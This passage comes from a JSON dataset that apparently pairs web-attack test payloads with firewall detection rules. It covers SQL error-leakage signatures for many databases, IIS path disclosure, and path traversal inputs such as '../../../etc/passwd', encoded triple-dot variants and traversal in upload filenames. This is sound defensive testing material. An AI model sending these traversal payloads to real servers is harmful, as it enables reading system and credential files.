"post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944152", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\":\"[match sql-errors.data]the used select statements have different number of columns[/match]: [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:JET Database Engine|Access Database Engine|\\[Microsoft\\]\\[ODBC Microsoft Access Driver\\])", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951110", "test_description": "Matching Microsoft Access SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: SQL Error: ORA-00933: SQL command not properly ended\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\bORA-[0-9][0-9][0-9][0-9][0-9]:|java\\.sql\\.SQLException|Oracle(?: erro|[^\\(\\)]{0,20}Drive)r|Warning.{1,10}o(?:ci_.{1,30}|ra_.{1,20})", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951120", "test_description": "Matching Oracle SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: DB2 SQL Error: SQLCODE=-104, SQLSTATE=42601, SQLERRMC=DECLARE\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:DB2 SQL error:|\\[IBM\\]\\[CLI Driver\\]\\[DB2/6000\\]|CLI Driver.*DB2|DB2 SQL error|db2_\\w+\\()", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951130", "test_description": "Matching DB2 SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: [DM_QUERY_E_SYNTAX]error: \\\"A Parser Error (syntax error) has occurred in the vicinity of: select * from dm_folder where folder in\\\"\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:\\[DM_QUERY_E_SYNTAX\\]|has occurred in the vicinity of:)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951140", "test_description": "Matching EMC SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Dynamic SQL Error\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)Dynamic SQL Error", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951150", "test_description": "Matching firebird SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: SQL-status: HY000 [FrontBase Inc.][FrontBase ODBC]Semantic error 217. Datatypes are not comparable or don't match. Semantic error 485. Near: SELECT DISTINCT * FROM SALES WHERE DATE>='2014-04-01';. Semantic error 485. Near: '2014-04-01'. Exception 363. Transaction rollback.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)Exception (?:condition )?\\d+\\. Transaction rollback\\.", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951160", "test_description": "Matching Frontbase SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: at org.hsqldb.jdbc.JDBCDriver.connect(Unknown Source)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)org\\.hsqldb\\.jdbc", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951170", "test_description": "Matching hsqldb SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Exception in thread \\\"main\\\" java.sql.SQLException: An illegal character has been found in the statement.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:An illegal character has been found in the statement|com\\.informix\\.jdbc|Exception.*Informix)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951180", "test_description": "Matching informix SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: [5000A] [Actian][Ingres ODBC Driver][Ingres]Delimited identifier starting with '' contains no valid characters. (6692) (SQLExecDirectW)\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:Warning.*ingres_|Ingres SQLSTATE|Ingres\\W.*Driver)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951190", "test_description": "Matching ingres SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Unexpected end of command in statement [SELECT * FROM INTO WHERE 'place'='xxxxxxx' AND 'yielddate' BETWEEN '01/11/2012' AND '29/11/2012'''].\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:<b>Warning</b>: ibase_|Unexpected end of command in statement)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951200", "test_description": "Matching interbase SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: maxdb_query(): -8004 POS(62) Constant must be compatible with column type and length\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:SQL error.*POS[0-9]+.*|Warning.*maxdb.*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951210", "test_description": "Matching maxDB SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: PHP Warning: mssql_query(): message: Incorrect syntax near 's'. (severity 15) in /Volumes/Data/Users/username/Desktop/createXML.php on line 375\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:System\\.Data\\.OleDb\\.OleDbException|\\[Microsoft\\]\\[ODBC SQL Server Driver\\]|\\[Macromedia\\]\\[SQLServer JDBC Driver\\]|\\[SqlException|System\\.Data\\.SqlClient\\.SqlException|Unclosed quotation mark after the character string|'80040e14'|mssql_query\\(\\)|Microsoft OLE DB Provider for ODBC Drivers|Microsoft OLE DB Provider for SQL Server|Incorrect syntax near|Sintaxis incorrecta cerca de|Syntax error in string in query expression|Procedure or function '.{1,128}' expects parameter|Unclosed quotation mark before the character string|Syntax error .* in query expression|Data type mismatch in criteria expression\\.|ADODB\\.Field \\(0x800A0BCD\\)|the used select statements have different number of columns|OLE DB.*SQL Server|Warning.*mssql_.*|Driver.*SQL[ _-]*Server|Exception.*\\WSystem\\.Data\\.SqlClient\\.|Conversion failed when converting the varchar value .*? to data type int\\.)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951220", "test_description": "Matching mssql SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Conversion failed when converting the varchar value 'secret' to data type int.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:System\\.Data\\.OleDb\\.OleDbException|\\[Microsoft\\]\\[ODBC SQL Server Driver\\]|\\[Macromedia\\]\\[SQLServer JDBC Driver\\]|\\[SqlException|System\\.Data\\.SqlClient\\.SqlException|Unclosed quotation mark after the character string|'80040e14'|mssql_query\\(\\)|Microsoft OLE DB Provider for ODBC Drivers|Microsoft OLE DB Provider for SQL Server|Incorrect syntax near|Sintaxis incorrecta cerca de|Syntax error in string in query expression|Procedure or function '.{1,128}' expects parameter|Unclosed quotation mark before the character string|Syntax error .* in query expression|Data type mismatch in criteria expression\\.|ADODB\\.Field \\(0x800A0BCD\\)|the used select statements have different number of columns|OLE DB.*SQL Server|Warning.*mssql_.*|Driver.*SQL[ _-]*Server|Exception.*\\WSystem\\.Data\\.SqlClient\\.|Conversion failed when converting the varchar value .*? to data type int\\.)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951220", "test_description": "Matching mssql SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR 1772 (HY000): Malformed GTID set specification 'secret_password'.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:supplied argument is not a valid |SQL syntax.*)MySQL|Column count doesn't match(?: value count at row)?|mysql_fetch_array\\(\\)|on MySQL result index|You have an error in your SQL syntax(?:;| near)|MyS(?:QL server version for the right syntax to use|qlClient\\.)|\\[MySQL\\]\\[ODBC|(?:Table '[^']+' doesn't exis|valid MySQL resul)t|Warning.{1,10}mysql_(?:[\\(\\)_a-z]{1,26})?|(?:ERROR [0-9]{4} \\([0-9a-z]{5}\\)|XPATH syntax error):", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951230", "test_description": "Matching MySQL SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR 1105 (HY000): XPATH syntax error: '\\\\secret'\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:supplied argument is not a valid |SQL syntax.*)MySQL|Column count doesn't match(?: value count at row)?|mysql_fetch_array\\(\\)|on MySQL result index|You have an error in your SQL syntax(?:;| near)|MyS(?:QL server version for the right syntax to use|qlClient\\.)|\\[MySQL\\]\\[ODBC|(?:Table '[^']+' doesn't exis|valid MySQL resul)t|Warning.{1,10}mysql_(?:[\\(\\)_a-z]{1,26})?|(?:ERROR [0-9]{4} \\([0-9a-z]{5}\\)|XPATH syntax error):", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951230", "test_description": "Matching MySQL SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: pg_query(): supplied argument is not a valid PostgreSQL link resource in /var/www/sivusto/handler.php on line 56\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)P(?:ostgreSQL(?: query failed:|.{1,20}ERROR)|G::[a-z]*Error)|(?:pg_(?:query|exec)\\(\\) \\[|org\\.postgresql\\.util\\.PSQLException):|Warning.{1,20}\\bpg_.*|valid PostgreSQL result|Npgsql\\.|Supplied argument is not a valid PostgreSQL .*? resource|(?:Unable to connect to PostgreSQL serv|invalid input syntax for integ)er", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951240", "test_description": "Matching PostgreSQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR: invalid input syntax for integer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)P(?:ostgreSQL(?: query failed:|.{1,20}ERROR)|G::[a-z]*Error)|(?:pg_(?:query|exec)\\(\\) \\[|org\\.postgresql\\.util\\.PSQLException):|Warning.{1,20}\\bpg_.*|valid PostgreSQL result|Npgsql\\.|Supplied argument is not a valid PostgreSQL .*? resource|(?:Unable to connect to PostgreSQL serv|invalid input syntax for integ)er", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951240", "test_description": "Matching PostgreSQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: SQLite3::query() [sqlite3.query]: 1 values for 2 columns in /mysite/product.php on line 94\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:Warning.*sqlite_|Warning.*SQLite3::|SQLite/JDBCDriver|SQLite\\.Exception|System\\.Data\\.SQLite\\.SQLiteException)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951250", "test_description": "Matching SQLite SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: Sybase: Server message: Changed database context to 'rdhiman'. (severity 10, procedure N/A) in guestfatch.php on line 10\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:Sybase message:|Warning.{2,20}sybase|Sybase.*Server message)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "951260", "test_description": "Matching Sybase SQL Information Leakage" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"C:\\\\inetpub \\n\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[a-z]:[\\x5c/]inetpub\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954100", "test_description": "Returns C:\\inetpub in the response body" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"C:/inetpub \\n\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[a-z]:[\\x5c/]inetpub\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954100", "test_description": "Returns C:/inetpub in the response body" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"c:/inetpub \\n\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[a-z]:[\\x5c/]inetpub\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954100", "test_description": "Returns c:/inetpub(lower case) in the response body" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"text=<title>404.14 - URL too long.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "iis-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954120", "test_description": "Match IIS error page" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"text=500.15 - Server error: Direct requests for GLOBAL.ASA are not allowed.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "iis-errors.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954120", "test_description": "Match IIS error page" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\\\\inetpub \\n\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\x5c/]inetpub\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954101", "test_description": "Returns \\inetpub in the response body" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"/inetpub \\n\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\x5c/]inetpub\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "954101", "test_description": "Returns /inetpub in the response body" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=.../.../WINDOWS/win.ini" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[/\\x5c]|%(?:2(?:f|5(?:2f|5c|c(?:1%259c|0%25af))|%46)|5c|c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|(?:bg%q|(?:e|f(?:8%8)?0%8)0%80%a)f|u(?:221[56]|EFC8|F025|002f)|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|1u)|0x(?:2f|5c))(?:\\.(?:%0[01]|\\?)?|\\?\\.?|%(?:2(?:(?:5(?:2|c0%25a))?e|%45)|c0(?:\\.|%[256aef]e)|u(?:(?:ff0|002)e|2024)|%32(?:%(?:%6|4)5|E)|(?:e|f(?:(?:8|c%80)%8)?0%8)0%80%ae)|0x2e){2,3}(?:[/\\x5c]|%(?:2(?:f|5(?:2f|5c|c(?:1%259c|0%25af))|%46)|5c|c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|(?:bg%q|(?:e|f(?:8%8)?0%8)0%80%a)f|u(?:221[56]|EFC8|F025|002f)|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|1u)|0x(?:2f|5c))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930100", "test_description": "Path Traversal Attack Triple Dot (/.../)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=0x2e.%000x2f0x2e.%00/WINDOWS/win.ini" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[/\\x5c]|%(?:2(?:f|5(?:2f|5c|c(?:1%259c|0%25af))|%46)|5c|c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|(?:bg%q|(?:e|f(?:8%8)?0%8)0%80%a)f|u(?:221[56]|EFC8|F025|002f)|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|1u)|0x(?:2f|5c))(?:\\.(?:%0[01]|\\?)?|\\?\\.?|%(?:2(?:(?:5(?:2|c0%25a))?e|%45)|c0(?:\\.|%[256aef]e)|u(?:(?:ff0|002)e|2024)|%32(?:%(?:%6|4)5|E)|(?:e|f(?:(?:8|c%80)%8)?0%8)0%80%ae)|0x2e){2,3}(?:[/\\x5c]|%(?:2(?:f|5(?:2f|5c|c(?:1%259c|0%25af))|%46)|5c|c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|(?:bg%q|(?:e|f(?:8%8)?0%8)0%80%a)f|u(?:221[56]|EFC8|F025|002f)|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|1u)|0x(?:2f|5c))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930100", "test_description": "Path Traversal Attack Triple Dot (/.../) encoded: foo=.../.../WINDOWS/win.ini" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=../../../etc/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (/../) query string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=../../../etc/passwd&foo=var" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (/../) query string" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=..\\pineapple" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (..\\) query string" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=.../.../WINDOWS/win.ini" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack triple dot (.../) query string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "------WebKitFormBoundaryABCDEFGIJKLMNOPQ\nContent-Disposition: form-data; name=\"file\"; filename=\"../1.7z\"\nContent-Type: application/octet-stream\n\nBINARYDATA\n------WebKitFormBoundaryABCDEFGIJKLMNOPQ--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (../) file upload" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "------WebKitFormBoundaryABCDEFGIJKLMNOPQ\nContent-Disposition: form-data; name=\"file\"; filename=\"..\\1.7z\"\nContent-Type: application/octet-stream\n\nBINARYDATA\n------WebKitFormBoundaryABCDEFGIJKLMNOPQ--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", 